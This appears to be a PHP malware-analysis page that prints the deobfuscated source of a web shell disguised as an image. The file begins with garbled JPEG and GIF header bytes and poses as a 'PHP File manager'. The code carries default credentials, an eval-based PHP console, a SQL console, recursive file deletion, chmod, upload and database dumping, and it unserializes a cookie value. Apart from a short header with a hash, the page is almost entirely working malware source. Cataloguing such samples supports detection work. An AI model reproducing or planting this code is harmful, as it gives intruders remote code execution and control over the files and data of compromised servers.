PHP Malware Analysis

manager1.php56, manager1.php66, manager1.php7

md5: 67b8ab8ce535a7a8301b9d9fd6ee9f13

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

���JFIF��;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90
��C




��C		

��PP"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?�"�E�x�}�^�L2[G����'�-�v��EIƜy�Tc�rO��-okZڳG�=_�Z�$�i=���7���m#,1����ר�B�Z~1^t�2:}�O�)��9�\+o6�a���B�u��W�ףNq�c�Q�
(������R�@{��K
�H�uQTW���W{5{�����]���ݮ_�7�[��+��+^D���}�FS^^�}�X�m���@�W��23+.�_�j��}����QEw��)�R��KY��u���[����"u�5a�)�_>W�|;�E�"��n�6�ʼn���oI�eQ^y�E+�Q�1�����ڮ����3W��D�E��%M�=��:�:�0�y�j�(���0�G����@��_�m'��҆>_�e?�ܻ�j���h��D/�sp�۟�m��.Zf����𥢊��*4��VjX�f��Q��ͻ�e�+�^��F[�ܤeͻܿ{o�W�W�BW�c���?�4�WI��m溑c�6�F���j��ڕ��.�Y'�_3�5��F�c�ۈl���l|��>�Ҽ��d��4���_iz.�>���3WB8�"��\��#p��)��絯iz��"��?+WEI�MI��ɵo�ڕ�f�)z����\���Z���E"��e���7AY���c�[�����1�/ѫ��}��T����GIF89a=<<?php 
/* PHP File manager ver 1.1 */
// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\\"text\\/javascript\\" src=\\"http:\\/\\/www.cdolivet.com\\/editarea\\/editarea\\/edit_area\\/edit_area_full.js\\"><\\/script>\\r\\n<script language=\\"Javascript\\" type=\\"text\\/javascript\\">\\r\\neditAreaLoader.init({\\r\\nid: \\"newcontent\\"\\r\\n,display: \\"later\\"\\r\\n,start_highlight: true\\r\\n,allow_resize: \\"both\\"\\r\\n,allow_toggle: true\\r\\n,word_wrap: true\\r\\n,language: \\"ru\\"\\r\\n,syntax: \\"php\\"\\t\\r\\n,toolbar: \\"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\\"\\r\\n,syntax_selection_allow: \\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\\"\\r\\n});\\r\\n<\\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\\r\\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en', 'ru', 'de', 'fr', 'uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path = str_replace('\\', '/', realpath('./'));
$phar_maybe = version_compare(phpversion(), "5.3.0", "<") ? true : false;
$msg = '';
// service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.1;
//Authorization
$auth = json_decode($authorization, true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0;
$auth['days_authorization'] = isset($auth['days_authorization']) && is_numeric($auth['days_authorization']) ? (int) $auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
// Little default config
$fm_default_config = array(
    'make_directory' => true,
    'new_file' => true,
    'upload_file' => true,
    'show_dir_size' => false,
    //if true, show directory size → maybe slow
    'show_img' => true,
    'show_php_ver' => true,
    'show_php_ini' => false,
    // show path to current php.ini
    'show_gt' => true,
    // show generation time
    'enable_php_console' => true,
    'enable_sql_console' => true,
    'sql_server' => 'localhost',
    'sql_username' => 'root',
    'sql_password' => '',
    'sql_db' => 'test_base',
    'enable_proxy' => true,
    'show_phpinfo' => true,
    'show_xls' => true,
    'fm_settings' => true,
);
if (empty($_COOKIE['fm_config'])) {
    $fm_config = $fm_default_config;
} else {
    $fm_config = unserialize($_COOKIE['fm_config']);
}
// Change language
if (isset($_POST['fm_lang'])) {
    setcookie('fm_lang', $_POST['fm_lang'], time() + 86400 * $auth['days_authorization']);
    $_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) {
    $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
    if (!empty($lang_priority)) {
        foreach ($lang_priority as $lang_arr) {
            $lng = explode(';', $lang_arr);
            $lng = $lng[0];
            if (in_array($lng, $langs)) {
                $language = $lng;
                break;
            }
        }
    }
}
// Cookie language is primary for ever
$language = empty($_COOKIE['fm_lang']) ? $language : $_COOKIE['fm_lang'];
// Localization
if ($language == 'ru') {
    $lang['Add'] = 'Добавить';
    $lang['Are you sure you want to delete this directory (recursively)?'] = 'Вы уверены, что хотите удалить эту папку (рекурсивно)?';
    $lang['Are you sure you want to delete this file?'] = 'Вы уверены, что хотите удалить этот файл?';
    $lang['Archiving'] = 'Архивировать';
    $lang['Authorization'] = 'Авторизация';
    $lang['Back'] = 'Назад';
    $lang['Cancel'] = 'Отмена';
    $lang['Chinese'] = 'Китайский';
    $lang['Compress'] = 'Сжать';
    $lang['Console'] = 'Консоль';
    $lang['Cookie'] = 'Куки';
    $lang['Created'] = 'Создан';
    $lang['Date'] = 'Дата';
    $lang['Days'] = 'Дней';
    $lang['Decompress'] = 'Распаковать';
    $lang['Delete'] = 'Удалить';
    $lang['Deleted'] = 'Удалено';
    $lang['Download'] = 'Скачать';
    $lang['done'] = 'закончена';
    $lang['Edit'] = 'Редактировать';
    $lang['Enter'] = 'Вход';
    $lang['English'] = 'Английский';
    $lang['Error occurred'] = 'Произошла ошибка';
    $lang['File manager'] = 'Файловый менеджер';
    $lang['File selected'] = 'Выбран файл';
    $lang['File updated'] = 'Файл сохранен';
    $lang['Filename'] = 'Имя файла';
    $lang['Files uploaded'] = 'Файл загружен';
    $lang['French'] = 'Французский';
    $lang['German'] = 'Немецкий';
    $lang['Generation time'] = 'Генерация страницы';
    $lang['Home'] = 'Домой';
    $lang['Quit'] = 'Выход';
    $lang['Language'] = 'Язык';
    $lang['Login'] = 'Логин';
    $lang['Manage'] = 'Управление';
    $lang['Make directory'] = 'Создать папку';
    $lang['Name'] = 'Наименование';
    $lang['New'] = 'Новое';
    $lang['New file'] = 'Новый файл';
    $lang['no files'] = 'нет файлов';
    $lang['Password'] = 'Пароль';
    $lang['pictures'] = 'изображения';
    $lang['Recursively'] = 'Рекурсивно';
    $lang['Rename'] = 'Переименовать';
    $lang['Reset'] = 'Сбросить';
    $lang['Reset settings'] = 'Сбросить настройки';
    $lang['Result'] = 'Результат';
    $lang['Rights'] = 'Права';
    $lang['Russian'] = 'Русский';
    $lang['Save'] = 'Сохранить';
    $lang['Select'] = 'Выберите';
    $lang['Select the file'] = 'Выберите файл';
    $lang['Settings'] = 'Настройка';
    $lang['Show'] = 'Показать';
    $lang['Size'] = 'Размер';
    $lang['Spanish'] = 'Испанский';
    $lang['Submit'] = 'Отправить';
    $lang['Task'] = 'Задача';
    $lang['templates'] = 'шаблоны';
    $lang['Show size of the folder'] = 'Показать размер папки';
    $lang['Ukrainian'] = 'Украинский';
    $lang['Upload'] = 'Загрузить';
    $lang['Value'] = 'Значение';
    $lang['Hello'] = 'Привет';
} elseif ($language == 'de') {
    $lang['Add'] = 'Add';
    $lang['Are you sure you want to delete this directory (recursively)'] = 'Sind Sie sicher, dass Sie diesen Ordner löschen möchten (rekursiv)?';
    $lang['Are you sure you want to delete this file?'] = 'Sind Sie sicher, dass Sie diese Datei löschen möchten?';
    $lang['Archiving'] = 'Archivierung';
    $lang['Authorization'] = 'Genehmigung';
    $lang['Back'] = 'Zurück';
    $lang['Cancel'] = 'Abbrechen';
    $lang['Chinese'] = 'Chinesische';
    $lang['Compress'] = 'Compress';
    $lang['Console'] = 'Console';
    $lang['Cookie'] = 'Cookie';
    $lang['Created'] = 'Erstellt';
    $lang['Date'] = 'Datum';
    $lang['Days'] = 'Tage';
    $lang['Decompress'] = 'Extract';
    $lang['Delete'] = 'Löschen';
    $lang['Deleted'] = 'Gelöschte';
    $lang['Download'] = 'Laden';
    $lang['done'] = 'fertig';
    $lang['Edit'] = 'Bearbeiten';
    $lang['Enter'] = 'Eintrag';
    $lang['Englisch'] = 'Englisch';
    $lang['Error occurred'] = 'Ein Fehler ist aufgetreten';
    $lang['File manager'] = 'Datei Manager';
    $lang['File selected'] = 'Die ausgewählte Datei';
    $lang['File updated'] = 'Die Datei wird gespeichert';
    $lang['Filename'] = 'Dateiname';
    $lang['Files uploaded'] = 'Datei hochgeladen';
    $lang['French'] = 'Französisch';
    $lang['Generation time'] = 'Generation Zeit';
    $lang['German'] = 'Deutche';
    $lang['Home'] = 'Home';
    $lang['Quit'] = 'Abmelden';
    $lang['Language'] = 'Sprache';
    $lang['Login'] = 'Login';
    $lang['Manage'] = 'Management';
    $lang['Make directory'] = 'Neuer Ordner';
    $lang['Name'] = 'Name';
    $lang['New'] = 'Neu';
    $lang['New file'] = 'Neue Datei';
    $lang['no files'] = 'keine Dateien';
    $lang['Password'] = 'Passwort';
    $lang['pictures'] = 'Bilder';
    $lang['Recursively'] = 'rekursive';
    $lang['Reset'] = 'Zurücksetzen';
    $lang['Rename'] = 'Umbenennen';
    $lang['Reset settings'] = 'Einstellungen zurücksetzen';
    $lang['Result'] = 'Result';
    $lang['Ergebnis'] = 'Ergebnis';
    $lang['Rights'] = 'Rechte';
    $lang['Russian'] = 'Russisch';
    $lang['Save'] = 'Speichern';
    $lang['Select'] = 'Wählen';
    $lang['Select the file'] = 'Wählen Sie die Datei';
    $lang['Settings'] = 'Einstellungen';
    $lang['Show'] = 'Show';
    $lang['Show size of the folder'] = 'Größe des Ordners anzeigen';
    $lang['Size'] = 'Größe';
    $lang['Spanish'] = 'Spanisch';
    $lang['Submit'] = 'Senden';
    $lang['Task'] = 'Aufgabe';
    $lang['templates'] = 'Vorlagen';
    $lang['Ukrainian'] = 'Ukrainisch';
    $lang['Upload'] = 'Upload';
    $lang['Value'] = 'Wert';
    $lang['Hello'] = 'Hallo';
} elseif ($language == 'fr') {
    $lang['Add'] = 'Ajouter';
    $lang['Are you sure you want to delete this directory (recursively)?'] = 'Êtes-vous sûr de vouloir supprimer ce dossier (récursive)?';
    $lang['Are you sure you want to delete this file?'] = 'Êtes-vous sûr de vouloir supprimer ce fichier?';
    $lang['Archiving'] = 'Archives';
    $lang['Authorization'] = 'Autorisation';
    $lang['Back'] = 'Arrière';
    $lang['Cancel'] = 'annulation';
    $lang['Chinese'] = 'Chinois';
    $lang['Compress'] = 'Presser';
    $lang['Console'] = 'Console';
    $lang['Cookie'] = 'Cookie';
    $lang['Created'] = 'Êtabli';
    $lang['Date'] = 'La date';
    $lang['Days'] = 'Journées';
    $lang['Decompress'] = 'Décompresser';
    $lang['Delete'] = 'Supprimer';
    $lang['Deleted'] = 'Supprimé';
    $lang['Download'] = 'Télécharger';
    $lang['done'] = 'terminé';
    $lang['Edit'] = 'Editer';
    $lang['Enter'] = 'Entrée';
    $lang['English'] = 'Anglais';
    $lang['Error occurred'] = 'Une erreur est survenue';
    $lang['File manager'] = 'Gestionnaire de fichiers';
    $lang['File selected'] = 'Fichier sélectionné';
    $lang['File updated'] = 'Le fichier est enregistré';
    $lang['Filename'] = 'Nom du fichier';
    $lang['Files uploaded'] = 'Fichiers uploadés';
    $lang['French'] = 'Française';
    $lang['Generation time'] = 'Génération de la page';
    $lang['German'] = 'Allemand';
    $lang['Home'] = 'Home';
    $lang['Quit'] = 'Quitter';
    $lang['Language'] = 'Langue';
    $lang['Login'] = 'Connexion';
    $lang['Manage'] = 'Gestion';
    $lang['Make directory'] = 'Nouveau dossier';
    $lang['Name'] = 'Nom';
    $lang['New'] = 'Nouveau';
    $lang['New file'] = 'Nouveau fichier';
    $lang['no files'] = 'aucun fichier';
    $lang['Password'] = 'Mot de passe';
    $lang['pictures'] = 'des photos';
    $lang['Recursively'] = 'Récursive';
    $lang['Rename'] = 'Renommer';
    $lang['Reset'] = 'Réinitialiser';
    $lang['Reset settings'] = 'Réinitialiser les paramètres';
    $lang['Result'] = 'Résultat';
    $lang['Rights'] = 'Permissions';
    $lang['Russian'] = 'Russe';
    $lang['Save'] = 'Enregistrer';
    $lang['Select'] = 'Sélectionnez';
    $lang['Select the file'] = 'Sélectionnez le fichier';
    $lang['Settings'] = 'Réglages';
    $lang['Show'] = 'Show';
    $lang['Show size of the folder'] = 'Afficher la taille du dossier';
    $lang['Size'] = 'Taille';
    $lang['Spanish'] = 'Espagnol';
    $lang['Submit'] = 'Envoyer';
    $lang['Task'] = 'Tâche';
    $lang['templates'] = 'templates';
    $lang['Ukrainian'] = 'Ukrainien';
    $lang['Upload'] = 'Télécharger';
    $lang['Value'] = 'Valeur';
    $lang['Hello'] = 'Bonjour';
} else {
    if ($language == 'uk') {
        $lang['Add'] = 'Додати';
        $lang['Are you sure you want to delete this directory (recursively)?'] = 'Ви впевнені, що бажаєте видалити цю папку (рекурсивно)?';
        $lang['Are you sure you want to delete this file?'] = 'Ви впевнені, що бажаєте видалити цей файл?';
        $lang['Archiving'] = 'Архівувати';
        $lang['Authorization'] = 'Авторизація';
        $lang['Back'] = 'Назад';
        $lang['Cancel'] = 'Відміна';
        $lang['Chinese'] = 'Китайська';
        $lang['Compress'] = 'Сжати';
        $lang['Console'] = 'Консоль';
        $lang['Cookie'] = 'Кукi';
        $lang['Created'] = 'Створений';
        $lang['Date'] = 'Дата';
        $lang['Date'] = 'Днiв';
        $lang['Decompress'] = 'Розпакувати';
        $lang['Delete'] = 'Видалити';
        $lang['Deleted'] = 'Видалено';
        $lang['Download'] = 'Скачати';
        $lang['done'] = 'закінчено';
        $lang['Edit'] = 'Редагувати';
        $lang['Enter'] = 'Вхід';
        $lang['English'] = 'Англійська';
        $lang['Error occurred'] = 'Виникла помилка';
        $lang['File manager'] = 'Файловий менеджер';
        $lang['File selected'] = 'Обрано файл';
        $lang['File updated'] = 'Файл збережено';
        $lang['Filename'] = 'Им\'я файла';
        $lang['Files uploaded'] = 'Файл завантажено';
        $lang['French'] = 'Французська';
        $lang['Generation time'] = 'Генерація сторінки';
        $lang['German'] = 'Німецька';
        $lang['Home'] = 'Додому';
        $lang['Quit'] = 'Вихід';
        $lang['Language'] = 'Мова';
        $lang['Login'] = 'Логін';
        $lang['Manage'] = 'Управління';
        $lang['Make directory'] = 'Створити папку';
        $lang['Name'] = 'Найменування';
        $lang['New'] = 'Нове';
        $lang['New file'] = 'Новий файл';
        $lang['no files'] = 'немає файлів';
        $lang['Password'] = 'Пароль';
        $lang['pictures'] = 'фотографії';
        $lang['Recursively'] = 'Рекурсивно';
        $lang['Rename'] = 'Перейменувати';
        $lang['Reset'] = 'Скидання';
        $lang['Reset settings'] = 'Скинути налаштування';
        $lang['Result'] = 'Результат';
        $lang['Rights'] = 'Права';
        $lang['Russian'] = 'Російська';
        $lang['Save'] = 'Зберегти';
        $lang['Select'] = 'Виберіть';
        $lang['Select the file'] = 'Виберіть файл';
        $lang['Settings'] = 'Налаштування';
        $lang['Show'] = 'Показати';
        $lang['Show size of the folder'] = 'Показати розмір папки';
        $lang['Size'] = 'Розмір';
        $lang['Spanish'] = 'Іспанська';
        $lang['Submit'] = 'Відправити';
        $lang['Task'] = 'Завдання';
        $lang['templates'] = 'шаблони';
        $lang['Ukrainian'] = 'Українська';
        $lang['Upload'] = 'Завантажити';
        $lang['Value'] = 'Значення';
        $lang['Hello'] = 'Вітаю';
    }
}
/* Functions */
//translation
function __($text)
{
    global $lang;
    if (isset($lang[$text])) {
        return $lang[$text];
    } else {
        return $text;
    }
}
//delete files and dirs recursively
function fm_del_files($file, $recursive = false)
{
    if ($recursive && @is_dir($file)) {
        $els = fm_scan_dir($file, '', '', true);
        foreach ($els as $el) {
            if ($el != '.' && $el != '..') {
                fm_del_files($file . '/' . $el, true);
            }
        }
    }
    if (@is_dir($file)) {
        return rmdir($file);
    } else {
        return @unlink($file);
    }
}
//file perms
function fm_rights_string($file, $if = false)
{
    $perms = fileperms($file);
    $info = '';
    if (!$if) {
        if (($perms & 0xc000) == 0xc000) {
            //Socket
            $info = 's';
        } elseif (($perms & 0xa000) == 0xa000) {
            //Symbolic Link
            $info = 'l';
        } elseif (($perms & 0x8000) == 0x8000) {
            //Regular
            $info = '-';
        } elseif (($perms & 0x6000) == 0x6000) {
            //Block special
            $info = 'b';
        } elseif (($perms & 0x4000) == 0x4000) {
            //Directory
            $info = 'd';
        } elseif (($perms & 0x2000) == 0x2000) {
            //Character special
            $info = 'c';
        } elseif (($perms & 0x1000) == 0x1000) {
            //FIFO pipe
            $info = 'p';
        } else {
            //Unknown
            $info = 'u';
        }
    }
    //Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    //Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    //World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}
function fm_convert_rights($mode)
{
    $mode = str_pad($mode, 9, '-');
    $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1');
    $mode = strtr($mode, $trans);
    $newmode = '0';
    $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
    $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
    $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
    $newmode .= $owner . $group . $world;
    return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false)
{
    $res = @chmod(realpath($file), $val);
    if (@is_dir($file) && $rec) {
        $els = fm_scan_dir($file);
        foreach ($els as $el) {
            $res = $res && fm_chmod($file . '/' . $el, $val, true);
        }
    }
    return $res;
}
//load files
function fm_download($file_name)
{
    if (!empty($file_name)) {
        if (file_exists($file_name)) {
            header("Content-Disposition: attachment; filename=" . basename($file_name));
            header("Content-Type: application/force-download");
            header("Content-Type: application/octet-stream");
            header("Content-Type: application/download");
            header("Content-Description: File Transfer");
            header("Content-Length: " . filesize($file_name));
            flush();
            // this doesn't really matter.
            $fp = fopen($file_name, "r");
            while (!feof($fp)) {
                echo fread($fp, 65536);
                flush();
                // this is essential for large downloads
            }
            fclose($fp);
            die;
        } else {
            header('HTTP/1.0 404 Not Found', true, 404);
            header('Status: 404 Not Found');
            die;
        }
    }
}
//show folder size
function fm_dir_size($f, $format = true)
{
    if ($format) {
        $size = fm_dir_size($f, false);
        if ($size <= 1024) {
            return $size . ' bytes';
        } elseif ($size <= 1048576) {
            return round($size / 1024, 2) . '&nbsp;Kb';
        } elseif ($size <= 1073741824) {
            return round($size / 1048576, 2) . '&nbsp;Mb';
        } elseif ($size <= 1099511627776) {
            return round($size / 1073741824, 2) . '&nbsp;Gb';
        } elseif ($size <= 1125899906842624) {
            return round($size / 1099511627776, 2) . '&nbsp;Tb';
        } else {
            return round($size / 1125899906842624, 2) . '&nbsp;Pb';
        }
        // ;-)
    } else {
        if (is_file($f)) {
            return filesize($f);
        }
        $size = 0;
        $dh = opendir($f);
        while (($file = readdir($dh)) !== false) {
            if ($file == '.' || $file == '..') {
                continue;
            }
            if (is_file($f . '/' . $file)) {
                $size += filesize($f . '/' . $file);
            } else {
                $size += fm_dir_size($f . '/' . $file, false);
            }
        }
        closedir($dh);
        return $size + filesize($f);
    }
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false)
{
    $dir = $ndir = array();
    if (!empty($exp)) {
        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
    }
    if (!empty($type) && $type !== 'all') {
        $func = 'is_' . $type;
    }
    if (@is_dir($directory)) {
        $fh = opendir($directory);
        while (false !== ($filename = readdir($fh))) {
            if (substr($filename, 0, 1) != '.' || $do_not_filter) {
                if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) {
                    $dir[] = $filename;
                }
            }
        }
        closedir($fh);
        natsort($dir);
    }
    return $dir;
}
function fm_link($get, $link, $name, $title = '')
{
    if (empty($title)) {
        $title = $name . ' ' . basename($link);
    }
    return '&nbsp;&nbsp;<a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>';
}
function fm_arr_to_option($arr, $n, $sel = '')
{
    foreach ($arr as $v) {
        $b = $v[$n];
        $res .= '<option value="' . $b . '" ' . ($sel && $sel == $b ? 'selected' : '') . '>' . $b . '</option>';
    }
    return $res;
}
function fm_lang_form($current = 'en')
{
    return '
<form name="change_lang" method="post" action="">
    <select name="fm_lang" title="' . __('Language') . '" onchange="document.forms[\'change_lang\'].submit()" >
	<option value="en" ' . ($current == 'en' ? 'selected="selected" ' : '') . '>' . __('English') . '</option>
	<option value="de" ' . ($current == 'de' ? 'selected="selected" ' : '') . '>' . __('German') . '</option>
	<option value="ru" ' . ($current == 'ru' ? 'selected="selected" ' : '') . '>' . __('Russian') . '</option>
	<option value="fr" ' . ($current == 'fr' ? 'selected="selected" ' : '') . '>' . __('French') . '</option>
	<option value="uk" ' . ($current == 'uk' ? 'selected="selected" ' : '') . '>' . __('Ukrainian') . '</option>
    </select>
</form>
';
}
function fm_root($dirname)
{
    return $dirname == '.' or $dirname == '..';
}
function fm_php($string)
{
    $display_errors = ini_get('display_errors');
    ini_set('display_errors', '1');
    ob_start();
    eval(trim($string));
    $text = ob_get_contents();
    ob_end_clean();
    ini_set('display_errors', $display_errors);
    return $text;
}
//SHOW DATABASES
function fm_sql_connect()
{
    global $fm_config;
    return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query)
{
    global $fm_config;
    $query = trim($query);
    ob_start();
    $connection = fm_sql_connect();
    if ($connection->connect_error) {
        ob_end_clean();
        return $connection->connect_error;
    }
    $connection->set_charset('utf8');
    $queried = mysqli_query($connection, $query);
    if ($queried === false) {
        ob_end_clean();
        return mysqli_error($connection);
    } else {
        if (!empty($queried)) {
            while ($row = mysqli_fetch_assoc($queried)) {
                $query_result[] = $row;
            }
        }
        $vdump = empty($query_result) ? '' : var_export($query_result, true);
        ob_end_clean();
        $connection->close();
        return '<pre>' . stripslashes($vdump) . '</pre>';
    }
}
function fm_backup_tables($tables = '*', $full_backup = true)
{
    global $path;
    $mysqldb = fm_sql_connect();
    $delimiter = "; \n  \n";
    if ($tables == '*') {
        $tables = array();
        $result = $mysqldb->query('SHOW TABLES');
        while ($row = mysqli_fetch_row($result)) {
            $tables[] = $row[0];
        }
    } else {
        $tables = is_array($tables) ? $tables : explode(',', $tables);
    }
    $return = '';
    foreach ($tables as $table) {
        $result = $mysqldb->query('SELECT * FROM ' . $table);
        $num_fields = mysqli_num_fields($result);
        $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter;
        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table));
        $return .= $row2[1] . $delimiter;
        if ($full_backup) {
            for ($i = 0; $i < $num_fields; $i++) {
                while ($row = mysqli_fetch_row($result)) {
                    $return .= 'INSERT INTO `' . $table . '` VALUES(';
                    for ($j = 0; $j < $num_fields; $j++) {
                        $row[$j] = addslashes($row[$j]);
                        $row[$j] = str_replace("\n", "\\n", $row[$j]);
                        if (isset($row[$j])) {
                            $return .= '"' . $row[$j] . '"';
                        } else {
                            $return .= '""';
                        }
                        if ($j < $num_fields - 1) {
                            $return .= ',';
                        }
                    }
                    $return .= ')' . $delimiter;
                }
            }
        } else {
            $return = preg_replace("#AUTO_INCREMENT=[\\d]+ #is", '', $return);
        }
        $return .= "\n\n\n";
    }
    //save file
    $file = gmdate("Y-m-d_H-i-s", time()) . '.sql';
    $handle = fopen($file, 'w+');
    fwrite($handle, $return);
    fclose($handle);
    $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
    return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' <a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute)
{
    $mysqldb = fm_sql_connect();
    $delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute, "r+");
    $sqlFile = fread($f, filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter, $sqlFile);
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt) > 3) {
            $result = $mysqldb->query($stmt);
            if (!$result) {
                $sqlErrorCode = mysqli_errno($mysqldb->connection);
                $sqlErrorText = mysqli_error($mysqldb->connection);
                $sqlStmt = $stmt;
                break;
            }
        }
    }
    if (empty($sqlErrorCode)) {
        return __('Success') . ' — ' . $sqlFileToExecute;
    } else {
        return $sqlErrorText . '<br/>' . $stmt;
    }
}
function fm_img_link($filename)
{
    return './' . basename("/var/www/html/manager1.php66.39743274bc5d224095f2ee5c95ce2a51.bin") . '?img=' . base64_encode($filename);
}
function fm_home_style()
{
    return "\ninput, input.fm_input {\n    text-indent: 2px;\n}\ninput, textarea, select, input.fm_input {\n    color: black;\n    font: normal 8pt Verdana, Arial, Helvetica, sans-serif;\n    border-color: black;\n    background-color: #FCFCFC none !important;\n    border-radius: 0;\n    padding: 2px;\n}\ninput.fm_input {\n    background: #FCFCFC none !important;\n    cursor: pointer;\n}\n.home {\n    background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==\");\n    background-repeat: no-repeat;\n}";
}
function fm_config_checkbox_row($name, $value)
{
    global $fm_config;
    return '<tr><td class="row1"><input id="fm_config_' . $value . '" name="fm_config[' . $value . ']" value="1" ' . (empty($fm_config[$value]) ? '' : 'checked="true"') . ' type="checkbox"></td><td class="row2 whole"><label for="fm_config_' . $value . '">' . $name . '</td></tr>';
}
function fm_protocol()
{
    if (isset($_SERVER['HTTP_SCHEME'])) {
        return $_SERVER['HTTP_SCHEME'] . '://';
    }
    if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {
        return "https://";
    }
    if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) {
        return "https://";
    }
    if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') {
        return "https://";
    }
    return "http://";
}
